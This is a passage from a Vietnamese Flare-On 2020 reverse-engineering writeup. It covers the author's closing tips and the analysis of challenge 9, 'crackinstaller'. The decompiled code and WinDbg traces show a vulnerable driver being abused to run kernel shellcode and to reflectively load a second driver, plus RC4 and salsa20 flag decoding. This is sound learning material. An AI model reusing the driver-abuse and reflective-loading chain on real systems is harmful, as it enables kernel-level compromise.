FLAREON 2020 - WRITEUP PHẦN 3

>>

Phần 3

Final thoughts

Đây là lần thứ hai mình tham gia, và là lần đầu tiên mình giải được đủ các challenge của Flare-on CTF, nên cảm thấy rất vui. Vui vì cuối cùng mình cũng có được cái huy hiệu của Flare-on, nhưng quan trọng hơn cả là mình cảm thấy trong một năm qua, mình đã tiến bộ hơn nhiều.

Sau hơn một tháng ngồi làm các challenge này, mình có một số cảm nhận, cũng như một số mẹo nhỏ cho bạn đọc:

  • Cấu trúc file PE là kiến thức mà mọi người chơi Reverse Engineer và Malware Analyst nên học. Ví dụ như ở bài 2 và bài 11, mình đã vận dụng kiến thức về file PE để có thể sửa lại file bị corrupt.
  • Reflective DLL Injection, cũng giống như trên, là một kỹ thuật được dùng nhiều trong malware, vì nó khó bị detect hơn so với các phương thức inject khác, kỹ thuật này được sử dụng ở bài 9, và bài 11.
  • windbg là một debugger rất mạnh, có thể script nữa. Thật sự mà nói, trong khoảng thời gian chơi RE gần 2 năm, mình chưa bao giờ dùng windbg, mình toàn coi tutorial RE của anh kienmanowar rồi dùng x64dbg vì nó có giao diện đẹp, bấm chuột click click, dễ xài hơn. Ở bài 9, mình phải tập sử dụng windbg để debug window kernel và lấy password (đây cũng là lần đầu tiên mình debug windows kernel).
  • Khi làm các công việc lặp đi lặp lại nhiều lần, hãy viết script nếu có thể. Mình đã viết script cho windbg, gdb ở bài 11, bài 9 và bài 10, giúp tiết kiệm rất nhiều thời gian.
  • "Khi bạn đã nhìn vào một thứ quá lâu mà vẫn không thấy gì, hãy lùi lại một bước để nhìn nó ở một góc độ khác" - anh Mạnh Luật (l4w) said. Điều này mình thấy rất đúng. Mình đã dùng tới tận 12 ngày để giải bài cuối cùng, nhưng trong đó, 11 ngày đầu, mình chỉ ngồi RE một đống DLL. Nhận thấy cách làm này không ổn, mình đã chuyển sang góc nhìn khác :arrow_right: dùng procmon để quan sát mọi thứ. Và, … mình chỉ tốn chưa tới 12 tiếng để tìm ra flag cho bài cuối ! (Nếu dùng wireshark bạn đọc cũng sẽ thấy được program làm gì đó, từ đó trace ngược lại và tìm ra flag).
  • Khi gặp source code bị obfuscate, hãy cố gắng tìm các pattern trong code, và dùng regex để rename các biến, các hàm … thay vì dùng find and replace (bài 6).
  • Monitor các hàm API để hiểu được flow program cũng là một cách hay, mình đã dùng cách này ở bài 7, và bài 10.
  • Khi RE các hàm lớn, có thể nhìn inputoutput để đoán xem hàm đó là gì.
  • Khi RE các hàm có rất nhiều phép xor, rotate, shift, khả năng cao đó là hàm của một thuật toán crypto hoặc hàm hash nào đó. Dùng plugin findcrypt trong IDA hoặc google các hằng số tìm thấy trong program để biết được hàm đó là gì.

Cuối cùng, xin cảm ơn Fireeye đã tổ chức một kỳ CTF rất chất lượng cho những người chơi Reverse Engineer ! Đồng thời mình cũng cảm ơn tất cả các bạn đọc đã bỏ ra thời gian quý giá để đọc tới đây, hi vọng mọi người sẽ thích bài này và ủng hộ các bài blog mà mình sẽ viết trong thời gian tiếp theo ^^!

–Trung–

Cùng đến với phần cuối cùng của hành trình bằng 3 thử thách:

9 - crackinstaller

1
What kind of crackme doesn't even ask for the password? We need to work on our COMmunication skills.

Ở bài này, chúng ta lại có 1 file .exe. Ta mở file lên trong IDA, nhảy thẳng tới hàm main, hàm này khá đơn giản, chỉ làm nhiệm vụ drop 1 file dll ra “C:\Users<name>\AppData\Local\Microsoft\Credentials\credHelper.dll”, sau đó load dll này và gọi hàm DllRegisterServer.

Vậy là file này khá đơn giản, giờ ta chuyển sang phân tích hàm DllRegisterServer của credHelper.dll

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
HRESULT __stdcall DllRegisterServer()
{
// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

mb_memset((__int64)Filename, 0, 0x200ui64);
mb_memset((__int64)sz, 0, 0x102ui64);
mb_memset((__int64)&v16, 0, 0x1F2ui64);
v8 = 0x720065;
*(_OWORD *)credHelperUString = xmmword_180017790;// = UNICODE "CredHelper"
v9 = 0;
v11 = 't';
*(_OWORD *)apartmentUString = xmmword_1800177A8;// = UNICODE "Apartment"
v18 = 0;
GetModuleFileNameW(hModule, (LPWSTR)Filename, 0xFFu);
v0 = -1i64;
do
++v0;
while ( Filename[v0] ); // v0 = lstrlenW(FileName)
v1 = 2 * v0 + 2;
StringFromGUID2(&rguid, (LPOLESTR)sz, 129);
v2 = &sz[135];
v14 = '\\\0D';
v15 = 0;
*(_QWORD *)SubKey = 20548029787144259i64; // UNICODE: 'CLSID\'
do
++v2;
while ( *v2 ); // v2 = endof(SubKey)
v3 = 0i64;
do
{
v4 = sz[v3];
v2[v3++] = v4; // SubKey = SubKey + sz
}
while ( v4 );
v5 = RegCreateKeyExW(HKEY_CLASSES_ROOT, SubKey, 0, 0i64, 0, KEY_ALL_ACCESS, 0i64, &hKey, 0i64);
if ( v5
|| (v5 = RegSetValueExW(hKey, 0i64, 0, REG_SZ, credHelperUString, 22u)) != 0
|| (v5 = RegCreateKeyExW(hKey, L"InProcServer32", 0, 0i64, 0, KEY_ALL_ACCESS, 0i64, &hSubKeyInProcServer32, 0i64)) != 0
|| (v5 = RegCreateKeyExW(hKey, L"Config", 0, 0i64, 0, KEY_ALL_ACCESS, 0i64, &hSubKeyConfig, 0i64)) != 0
|| (v5 = RegSetValueExW(hSubKeyInProcServer32, 0i64, 0, REG_SZ, (const BYTE *)Filename, v1)) != 0
|| (v5 = RegSetValueExW(hSubKeyInProcServer32, L"ThreadingModel", 0, REG_SZ, apartmentUString, 20u)) != 0 )
{
result = (unsigned __int16)v5 | 0x80070000;
if ( v5 <= 0 )
{
result = v5;
}
}
else
{
RegSetValueExW(hSubKeyConfig, L"Password", 0, REG_SZ, (const BYTE *)&v18, 2u);
RegSetValueExW(hSubKeyConfig, L"Flag", 0, REG_SZ, (const BYTE *)&v18, 2u);
result = 0;
}
return result;
}

Đoạn code trên thêm vào registry 2 key sau:

  • HKEY_CLASSES_ROOT\CLSID{CEEACC6E-CCB2-4C4F-BCF6-D2176037A9A7}\InProcServer32
  • HKEY_CLASSES_ROOT\CLSID{CEEACC6E-CCB2-4C4F-BCF6-D2176037A9A7}\Config

Ở đây ta thấy 1 entry có name là “Flag”, có thể đó chính là flag cần tìm.

Ta thử vào string windows trong IDA, dùng xref lên chuỗi “Flag” để xem có hàm nào sử dụng chuỗi này nữa không, thì thấy có hàm ở 0x1800016D8:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
__int64 __fastcall sub_1800016D8(__int64 a1, unsigned __int8 *a2)
{
// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

v2 = a2;
v3 = -2147467259;
mb_memset(&SubKey, 0i64, 512i64);
mb_memset(&sz, 0i64, 258i64);
v14 = 0i64;
v15 = 0;
v16 = 0;
*(_OWORD *)Source = 0i64;
v13 = 0i64;
mb_memset(Data, 0i64, 180i64);
v4 = *v2;
v5 = 0i64;
v6 = v2[1];
do
{
v7 = v2[++v4 + 2];
v6 += v7;
v8 = v2[v6 + 2];
v2[v4 + 2] = v8;
v2[v6 + 2] = v7;
Source[v5] = byte_18001A9F0[v5] ^ v2[(unsigned __int8)(v7 + v8) + 2];
++v5;
} // <---------------------------- RC4 here
while ( v5 < 44 );
*v2 = v4;
v2[1] = v6;
v9 = mbstowcs(Data, Source, 0x2Dui64);
v10 = v9;
if ( v9 == -1 || v9 == 45 )
return v3;
StringFromGUID2(&rguid, &sz, 129);
wsprintfW(&SubKey, L"%s\\%s\\%s", L"CLSID", &sz, L"Config");
if ( RegOpenKeyExW(HKEY_CLASSES_ROOT, &SubKey, 0, 0x20006u, &hKey) )
return v3;
RegSetValueExW(hKey, L"Flag", 0, 1u, (const BYTE *)Data, 2 * v10);
v3 = 0;
return v3;
}

Ở đây, ta lại thêm 1 lần thấy RC4. Hàm này nhận vào 2 tham số, trong đó a2 là con trỏ tới RC4 state đã được khởi tạo từ trước.

Ở hàm này ta không thấy pattern for (i = 0; i < 256; ++i) a[i] = i , nên khả năng cao trong dll này có 1 hàm khác dùng để khởi tạo state RC4.

Và chính xác là như vậy, nếu ta dùng xref để xem hàm nào reference tới string “Password”, ta sẽ tới được hàm ở 0x18000153C.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
__int64 __fastcall sub_18000153C(__int64 a1, _WORD *a2)
{
// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

v2 = a2;
mb_memset(&pvData, 0i64, 1040i64);
mb_memset(&SubKey, 0i64, 512i64);
mb_memset(&sz, 0i64, 258i64);
StringFromGUID2(&rguid, &sz, 129);
wsprintfW(&SubKey, L"%s\\%s\\%s", L"CLSID", &sz, L"Config");
v3 = 0;
if ( RegGetValueW(HKEY_CLASSES_ROOT, &SubKey, L"Password", 2u, 0i64, &pvData, &pcbData)
|| pcbData <= 2
|| (v4 = sub_180005A2C(v20, &pvData, 260i64), v4 == 260)
|| v4 == -1 )
{
v3 = 0x80004005;
}
else
{
v5 = (__int64)(v2 + 1);
*v2 = 0;
v6 = v2 + 1;
LOBYTE(v7) = 0;
v8 = 0;
v9 = 0;
v10 = 256i64;
do
*v6++ = v9++;
while ( v9 < 256 );
v11 = v4;
v12 = 0i64;
v13 = (char *)v5;
do
{
v14 = *v13;
v15 = v12 + 1;
v16 = v20[v12];
v12 = 0i64;
v7 = (unsigned __int8)(v7 + *v13 + v16);
*v13++ = *(_BYTE *)(v7 + v5);
*(_BYTE *)(v7 + v5) = v14;
v17 = v8 + 1;
v8 = 0;
if ( v15 < v11 )
v8 = v17;
if ( v15 < v11 )
v12 = v15;
--v10;
}
while ( v10 );
}
return v3;
}

Hàm ở trên sẽ lấy data trong registry key “Password”, biến đổi nó trước khi dùng để làm RC4 key. Ở trên ta có thể thấy pattern "do *v6++ = v9++; while (v9 < 256);".

Vậy là ta đã biết cách để lấy được Flag, nhưng … không có Password.

Mình đã ngồi phân tích file credHelper.dll rất lâu nhưng không thấy chỗ nào tạo Password, đến đây mình quay lại xem file crackinstaller.exe để xem lại thì phát hiện ra mình đã bỏ sót các hàm Constructor.

Constructor là các hàm được gọi trước cả hàm main. Ví dụ, cho đoạn code sau:

1
2
3
4
5
6
7
8
9
10
11
#include <stdio.h>
class Test {
public:
Test() {
printf("Hello world from test\n");
}
};
Test test;
int main() {
printf("Hello world\n");
}

Và output của chương trình trên là:

1
2
Hello world from test
Hello world

Đó là một trong những trường hợp mà tồn tại hàm được gọi trước hàm main.

1
2
.rdata:000000014000F2B8 dq offset ?pre_cpp_initialization@@YAXXZ ; pre_cpp_initialization(void)
.rdata:000000014000F2C0 dq offset sub_140001000

Ta có thể thấy ở phần section .rdata có chứa địa chỉ các hàm Constructor, ta bắt đầu phân tích hàm sub_140001000.

1
2
3
.text:0000000140001000 sub_140001000   proc near               ; DATA XREF: .rdata:000000014000F2C0↓o
.text:0000000140001000 jmp sub_140002530
.text:0000000140001000 sub_140001000 endp

Hàm này lại gọi hàm sub_140002530, ta tiếp tục follow hàm này:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
__int64 sub_140002530()
{
// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

v0 = -1i64;
v1 = 0;
hObjectRecv = (HANDLE)-1i64;
pedata2 = 0i64;
if ( (unsigned int)resolveDIAT_140001CD8() ) // <--- resolve IAT dynamically
{
pedata1 = decrypt_data(&data, 8069ui64, 0x2950ui64);
if ( pedata1 )
{
pedata2 = (IMAGE_DOS_HEADER *)decrypt_data(&byte_140034080, 8882ui64, 0x5800ui64);
if ( pedata2 )
{
v4 = dec_unicode_string((__int64)&unk_140019988, 0x1Cu, 0);// C:\Windows\System32\cfs.dll
v1 = writeFileByMapping_140002ED8(v4, (__int64)pedata1);// cfs.dll
if ( v1 )
{
pCfsString = *(_QWORD *)dec_unicode_string((__int64)&unk_140019900, 4u, 0);// cfs
v5 = dec_unicode_string((__int64)&unk_140019988, 0x1Cu, 0);// C:\Windows\System32\cfs.dll
*(_OWORD *)pFileName = *(_OWORD *)v5;
*(_OWORD *)&pFileName[8] = *((_OWORD *)v5 + 1);
*(_OWORD *)&pFileName[16] = *((_OWORD *)v5 + 2);
*(_QWORD *)&pFileName[24] = *((_QWORD *)v5 + 6);
v6 = dec_unicode_string((__int64)&unk_1400199C0, 0xFu, 0);// \\.\Htsysm72FB
*(_OWORD *)pPathSmth = *(_OWORD *)v6;
*(_QWORD *)&pPathSmth[8] = *((_QWORD *)v6 + 2);
*(_DWORD *)&pPathSmth[12] = *((_DWORD *)v6 + 6);
v14 = v6[14];
v7 = service_140001FB4((__int64)&pCfsString, (__int64)pFileName, (__int64)pPathSmth, (__int64 *)&hObjectRecv);// setup service
v0 = (__int64)hObjectRecv;
v1 = v7;
if ( v7 )
{
LODWORD(pCfsString) = 0;
*(_QWORD *)&pFileName[8] = 0i64;
*(_OWORD *)pFileName = 0i64;
*(_DWORD *)&pFileName[12] = 0;
*(_QWORD *)pPathSmth = 0i64;
*(_DWORD *)&pPathSmth[4] = 0;
pPathSmth[6] = 0;
LOBYTE(pPathSmth[7]) = 0;
v1 = sendDeviceIO_140002C44(hObjectRecv, pedata2);
if ( v1 )
{
v8 = dec_unicode_string((__int64)&unk_140019900, 4u, 0);// cfs
v1 = (unsigned __int64)sub_140001EB4((__int64)v8) != 0;
}
}
}
}
}
}
// ... truncated
}

Hàm này đầu tiên sẽ lấy địa chỉ các hàm windows API bằng LoadLibrary, GetProcAddress.

Tiếp theo, nó decrypt 1 file PE, rồi drop ra đường dẫn “C:\Windows\System32\cfs.dll” (file này thật ra là file driver).

Sau đó, nó load driver mới drop ra trong hàm ở 0x140001FB4, đồng thời gọi CreateFile để tạo 1 device object.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
__int64 __fastcall service_140001FB4(__int64 a1, __int64 a2, __int64 pPathSth, __int64 *phObject)
{
// truncated ...
// a1 = &L"\\.\Htsysm72FB";
v10 = pOpenSCManagerW(0i64, 0i64, 0xF003Fi64);
v11 = v10;
if ( v10 )
{
v12 = pOpenServiceW(v10, pServiceName, 0xF01FFi64);
v13 = v12;
if ( v12 )
{
pDeleteService(v12);
pCloseServiceHandle(v13);
}
v14 = pCreateServiceW(v11, pServiceName, pServiceName, 0xF01FFi64, 1, 3, 1, pFileName, 0i64, 0i64, 0i64, 0i64, 0i64);
if ( v14 )
{
pCloseServiceHandle(v14);
}
v15 = pOpenServiceW(v11, pServiceName, 0xF01FFi64);
v16 = v15;
if ( v15 )
{
if ( !(unsigned int)pStartServiceW(v15, 0i64, 0i64) )
{
GetLastError();
}
pCloseServiceHandle(v16);
}
if ( _phObject )
{
v17 = pCreateFileW(_pPathSmt, 0xC0000000i64, 0i64, 0i64, 3, 128, 0i64);
*_phObject = v17;
LOBYTE(v4) = v17 != -1;
}
pCloseServiceHandle(v11);
}
return v4;
}

Cuối cùng nó decrypt 1 file PE thứ 2, copy một vài “hằng số” vào buffer tạo bởi VirtualAlloc rồi gửi control code 0xAA013044 đến driver vừa load.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
if ( v23 )
{
unk_14003634B = v23;
unk_14003633B = pDos; // <---- pointer to second PE file
unk_140036345 = 0x5800;
v24 = (char *)VirtualAlloc(0i64, 45ui64, 0x3000u, 0x40u);
if ( v24 )
{
*(_QWORD *)v24 = v24 + 8;
*(_OWORD *)(v24 + 8) = unk_140036338;
*(_OWORD *)(v24 + 0x18) = unk_140036348;
*((_DWORD *)v24 + 0xA) = unk_140036358;
v24[44] = unk_14003635C;
InBuffer = v24 + 8;
if ( DeviceIoControl(v4, 0xAA013044, &InBuffer, 8u, &OutBuffer, 4u, &BytesReturned, 0i64) )
{
v5 = 1;
}
}
// ... truncated
}

Giờ ta phân tích file “cfs.dll”, ta dùng PE-Bear để xem tổng quát về file này:

Thử tìm thông tin về hash MD5 của file này:

Ta tìm được thông tin đây là file driver đã bị exploit từ năm 2016.

Theo như trong video này thì các “hằng số” ở trên kia chính là kernel shellcode. Bây giờ ta sẽ setup (kernel) debug để xem đoạn shellcode trên làm gì.

Cách setup window kernel debugging.

Đầu tiên ta dùng lệnh lm để liệt kê các module được load:

1
2
3
4
5
6
7
8
start             end                 module name
00000000`77640000 00000000`7773a000 USER32 (deferred)
00000000`77740000 00000000`7785f000 kernel32 (deferred)
00000000`77860000 00000000`77a09000 ntdll (export symbols) C:\Windows\SYSTEM32\ntdll.dll
00000001`3fd30000 00000001`3fd6d000 image00000001_3fd30000 (deferred)
000007fe`fd860000 000007fe`fd8cb000 KERNELBASE (deferred)
000007fe`fdb80000 000007fe`fdbe7000 GDI32 (deferred)
...

Như trên thì crackinstaller được load tại 0x00000013fd30000, ta vào IDA lấy offset:

1
.text:0000000140002E1A    call    cs:DeviceIoControl

Trong lúc viết bài này, mình có tắt windbg và bật lại nhiều lần nên Imagebase có thể thay đổi, tuy nhiên offset thì không !

Imagebase là 0x140000000 nên offset sẽ là 0x2E1A. Ta gõ “bp 000000013fd30000+0x2E1A” để đặt breakpoint ngay tại đây, sau đó dùng lệnh g để tiếp tục chương trình, lúc này @rip đang ở ngay tại 0x00000013fd32e1a. Ta gõ “u poi(@r8)” để disassemble đoạn shellcode này.

1
2
3
4
5
6
7
8
9
0:000> u poi(@r8)
00000000`00070008 fb sti
00000000`00070009 48ba20920c0000000000 mov rdx,0C9220h
00000000`00070013 41b800580000 mov r8d,5800h
00000000`00070019 41b970310000 mov r9d,3170h
00000000`0007001f ff2500000000 jmp qword ptr [00000000`00070025]
00000000`00070025 102a adc byte ptr [rdx],ch
00000000`00070027 d33f sar dword ptr [rdi],cl
00000000`00070029 0100 add dword ptr [rax],eax

Ngoài ra, ở dòng code thứ 2 (0x70009) ta còn thấy được con trỏ tới file PE thứ 2, và size của nó là 0x5800.

1
2
3
4
5
6
7
8
9
0:000> db 0C9220
00000000`000c9220 4d 5a 90 00 03 00 00 00-04 00 00 00 ff ff 00 00 MZ..............
00000000`000c9230 b8 00 00 00 00 00 00 00-40 00 00 00 00 00 00 00 ........@.......
00000000`000c9240 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
00000000`000c9250 00 00 00 00 00 00 00 00-00 00 00 00 e0 00 00 00 ................
00000000`000c9260 0e 1f ba 0e 00 b4 09 cd-21 b8 01 4c cd 21 54 68 ........!..L.!Th
00000000`000c9270 69 73 20 70 72 6f 67 72-61 6d 20 63 61 6e 6e 6f is program canno
00000000`000c9280 74 20 62 65 20 72 75 6e-20 69 6e 20 44 4f 53 20 t be run in DOS
00000000`000c9290 6d 6f 64 65 2e 0d 0d 0a-24 00 00 00 00 00 00 00 mode....$.......

Ta dump file này ra bằng lệnh: “.writemem C:/path/to/file.bin 0C9220 L5800”.

Tiếp theo ta sẽ breakpoint ngay tại chỗ này trong cfs.dll:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
__int64 __fastcall sub_10524(void (__fastcall *a1)(_QWORD))
{
__int64 v2; // [rsp+20h] [rbp-28h]
void (__fastcall *v3)(PVOID (__stdcall *)(PUNICODE_STRING)); // [rsp+28h] [rbp-20h]
PVOID (__stdcall *v4)(PUNICODE_STRING); // [rsp+30h] [rbp-18h]

if ( *((void (__fastcall **)(_QWORD))a1 - 1) != a1 )
return 0i64;
v3 = (void (__fastcall *)(PVOID (__stdcall *)(PUNICODE_STRING)))a1;
v4 = MmGetSystemRoutineAddress;
v2 = 0i64;
enable((unsigned __int64 *)&v2);
v3(v4); // <--- breakpoint here, offset 0x573
disable((unsigned __int64 *)&v2);
return 1i64;
}

Ta gõ “.breakin” để switch từ user-mode debugging vào kernel-mode debugging, rồi gõ “bp cfs+573”, sau đó ở crackinstaller ta gõ lệnh “g” thì ta sẽ dừng laị tại cfs+573.

1
2
3
4
5
6
7
8
9
10
11
kd> g
0:000> g
Breakpoint 2 hit
cfs+0x573:
fffff880`06530573 ff542428 call qword ptr [rsp+28h]
kd> u poi(@rsp+28)
00000000`00070008 fb sti
00000000`00070009 48ba2092300000000000 mov rdx,309220h
00000000`00070013 41b800580000 mov r8d,5800h
00000000`00070019 41b970310000 mov r9d,3170h
00000000`0007001f ff2500000000 jmp qword ptr [00000000`00070025]

Ta step in để vào hàm ở [0x70025].

1
2
3
4
5
6
7
8
9
kd> u @rip
00000001`3ffe2a10 44894c2420 mov dword ptr [rsp+20h],r9d
00000001`3ffe2a15 4489442418 mov dword ptr [rsp+18h],r8d
00000001`3ffe2a1a 4889542410 mov qword ptr [rsp+10h],rdx
00000001`3ffe2a1f 53 push rbx
00000001`3ffe2a20 55 push rbp
00000001`3ffe2a21 56 push rsi
00000001`3ffe2a22 57 push rdi
00000001`3ffe2a23 4154 push r12

Hàm này chính là hàm sub_140002A10 của crackinstaller.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
__int64 __fastcall shellcode_140002A10(__int64 a1, const void *a2, unsigned int a3, unsigned int a4)
{
// truncated ...
v29 = a4; // 0x3170
v28 = a3; // 0x5800
v27 = a2; // DOS
v4 = a3;
v5 = 0xC0000001;
g_fnMmGetSystemRoutineAddress = (__int64 (__fastcall *)(_QWORD))a1;
get_g_imagebase_by_hash_140002768();
v22 = 0i64;
v23 = 0i64;
_mm_storeu_si128((__m128i *)&v25, (__m128i)0i64);
v21 = 48;
v24 = 512;
ExAllocatePoolWithTag = (__int64 (__fastcall *)(_QWORD, __int64, __int64))get_function_by_hash(0x490A231A);
if ( ExAllocatePoolWithTag )
{
ExFreePoolWithTag = (void (__fastcall *)(char *, _QWORD))get_function_by_hash(0x34262863);
if ( ExFreePoolWithTag )
{
IoCreateDriver = get_function_by_hash(0x1128974);
if ( IoCreateDriver )
{
RtlImageNtHeader = get_function_by_hash(0xE2A9259B);
if ( RtlImageNtHeader )
{
RtlImageDirectoryEntryToData = get_function_by_hash(0xCF424038);
if ( RtlImageDirectoryEntryToData )
{
RtlQueryModuleInformation = get_function_by_hash(0xCE968D51);
if ( RtlQueryModuleInformation )
{
PsCreateSystemThread = (__int64 (__fastcall *)(__int64 *, __int64, int *, _QWORD, _QWORD, char *, __int64))get_function_by_hash(0xB40D00D9);//
if ( PsCreateSystemThread )
{
ZwClose = (void (__fastcall *)(__int64))get_function_by_hash(0xA95BE347);
if ( ZwClose )
{
v11 = v4;
v12 = (char *)ExAllocatePoolWithTag(0i64, v4, 0x52414C46i64);
if ( v12 )
{
v13 = ExAllocatePoolWithTag(0i64, 68i64, 0x52414C46i64);
v14 = v13;
if ( v13 )
{
*(_QWORD *)v13 = ExAllocatePoolWithTag;
*(_DWORD *)(v13 + 56) = v28;
*(_QWORD *)(v13 + 8) = ExFreePoolWithTag;
*(_QWORD *)(v13 + 40) = IoCreateDriver;
*(_QWORD *)(v13 + 48) = v12;
*(_QWORD *)(v13 + 24) = RtlImageDirectoryEntryToData;
*(_QWORD *)(v13 + 32) = RtlQueryModuleInformation;
v16 = v12;
*(_QWORD *)(v14 + 16) = RtlImageNtHeader;
qmemcpy(v12, v27, 8 * (v11 >> 3));
v17 = (unsigned __int64)&v12[v28 - 8];
if ( (unsigned __int64)v12 < v17 )
{
do
{
if ( *(_QWORD *)v16 == 0xDC16F3C3B57323i64 )
{
strcpy(v16, "BBACABA");
}
++v16;
}
while ( (unsigned __int64)v16 < v17 );
}
v5 = PsCreateSystemThread(&threadHandle, 0x10000000i64, &v21, 0i64, 0i64, &v12[v29], v14);// call driverBoostrap
if ( (v5 & 0x80000000) == 0 )
{
ZwClose(threadHandle);
return v5;
}
}
// truncated ....
}

Hàm sub_140002964 thực hiện việc tìm địa chỉ của function bằng hash, không cần RE hàm này, chỉ cần quan sát qua debugger, ta có bảng sau:

Hash Function
0x490A231A ExAllocatePoolWithTag
0x34262863 ExFreePoolWithTag
0x1128974 IoCreateDriver
0xE2A9259B RtlImageNtHeader
0xCF424038 RtlImageDirectoryEntryToData
0xCE968D51 RtlQueryModuleInformation
0xB40D00D9 PsCreateSystemThread
0xA95BE347 ZwClose

Tiếp theo, ta đặt breakpoint ngay tại chỗ v5 = PsCreateSystemThread(...) và để chương trình chạy tới đó.

1
2
3
4
kd> bp 1`3ffe2c26
kd> g
Breakpoint 3 hit
00000001`3ffe2c26 ff542448 call qword ptr [rsp+48h]

Ta có hàm PsCreateSystemThread được định nghĩa như sau:

1
2
3
4
5
6
7
8
9
NTSTATUS PsCreateSystemThread(
PHANDLE ThreadHandle,
ULONG DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes,
HANDLE ProcessHandle,
PCLIENT_ID ClientId,
PKSTART_ROUTINE StartRoutine,
PVOID StartContext
);

Trong đó StartRoutine là con trỏ tới hàm cần tạo thread. Nó là tham số thứ 6 trong hàm, ta dùng lệnh “u poi(@rsp+28)” để disassemble hàm này:

1
2
3
4
5
6
7
8
9
kd> u poi(@rsp+28)
fffffa80`04472170 48894c2408 mov qword ptr [rsp+8],rcx
fffffa80`04472175 56 push rsi
fffffa80`04472176 57 push rdi
fffffa80`04472177 4881ec88000000 sub rsp,88h
fffffa80`0447217e 488d442448 lea rax,[rsp+48h]
fffffa80`04472183 488bf8 mov rdi,rax
fffffa80`04472186 33c0 xor eax,eax
fffffa80`04472188 b930000000 mov ecx,30h

Ta đặt breakpoint ngay tại hàm này và bấm “g” để dừng lại ngay tại hàm này.

1
2
3
4
kd> bp fffffa80`04472170
kd> g
Breakpoint 4 hit
fffffa80`04472170 48894c2408 mov qword ptr [rsp+8],rcx

Ta đang dừng lại ngay hàm DriverBootstrap của file PE thứ 2.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
__int64 __fastcall DriverBootstrap(PARAM *a1)
{
// truncated ...
if ( v5 )
{
v7 = (IMAGE_SECTION_HEADER *)((char *)&v6->OptionalHeader + v6->FileHeader.SizeOfOptionalHeader);
qmemcpy(v5, v15->pAllocateMemory_0x5800, 8 * (v6->OptionalHeader.SizeOfHeaders / 8ui64));
for ( i = 0; i < v6->FileHeader.NumberOfSections; ++i )
{
qmemcpy(
(char *)v5 + v7[i].VirtualAddress,
(char *)v15->pAllocateMemory_0x5800 + v7[i].PointerToRawData,
8 * (v7[i].SizeOfRawData / 8ui64));
}
if ( (int)mb_fixup_140003B80((__int64)&pExAllocatePoolWithTag, (__int64)v5) >= 0
&& (int)mb_find_import_140003FE0((tbl *)&pExAllocatePoolWithTag, (__int64)v5, v1) >= 0 )
{
v14 = (IMAGE_DOS_HEADER *)((char *)v5 + v6->OptionalHeader.AddressOfEntryPoint);
if ( v14 )
{
v4 = pIoCreateDriver(0i64, v14);
}
else
{
v4 = 0xC0000001;
}
}
// truncated ...
}

Hàm này thực hiện 1 việc rất giống Reflective DLL load, và đúng là như vậy, đoạn code trên được copy từ đây, reflective driver loader (trong repo này cũng sử dụng lại capcom.sys để làm ví dụ).

Ta thấy sau khi thực hiện load và fix bảng IAT, reloc table, thì nó gọi IOCreateDriver để gọi DriverEntry của file PE thứ 2.

1
2
3
4
5
6
7
8
NTSTATUS __stdcall DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{
struct _DRIVER_OBJECT *v2; // rdi

v2 = DriverObject;
_security_init_cookie();
return sub_140009000(v2);
}
1
2
3
4
5
6
7
8
9
10
__int64 __fastcall sub_140009000(struct _DRIVER_OBJECT *a1)
{
// truncated ...
if ( v2 >= 0 )
{
// truncated ...
v2 = CmRegisterCallbackEx(sub_140004570, &v5, DriverObject, DriverObject, &Cookie, 0i64);
}
// truncated ...
}

Ở driver này, nó dùng hàm sub_140004570 để làm hàm callback, ta lại tiếp tục phân tích hàm này.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
__int64 __fastcall sub_140004570(__int64 a1, __int64 a2, unsigned __int16 **a3)
{
// truncated ...
if ( wcsstr(Str, v3) ) // {CEEACC6E-CCB2-4C4F-BCF6-D2176037A9A7}\Config
{
memset(&v26, 0, 0x70ui64);
memset(&v25, 0, 0x20ui64);
memset(&v27, 0, 0x88ui64);
memset(&v19, 0, 8ui64);
memset(v22, 0, sizeof(v22));
sub_1400034F0(&v26); // sha256 init
sub_140003AD0(&v26, &unk_14000608C, 7i64); // sha256 update
sub_140003120(&v26, &v25); // sha256 final
sub_140002760(&v27, &v25, 32i64, &v19); // init modified salsa20
sub_140002490(&v27, &unk_140006078, v22, (unsigned int)dword_140006088); // salsa decrypt
Class.Length = 2 * dword_140006088;
Class.MaximumLength = 2 * (dword_140006088 + 1);
for ( i = 0; i < dword_140006088; ++i )
Class.Buffer[i] = (unsigned __int8)v22[i];
v24.Length = 48;
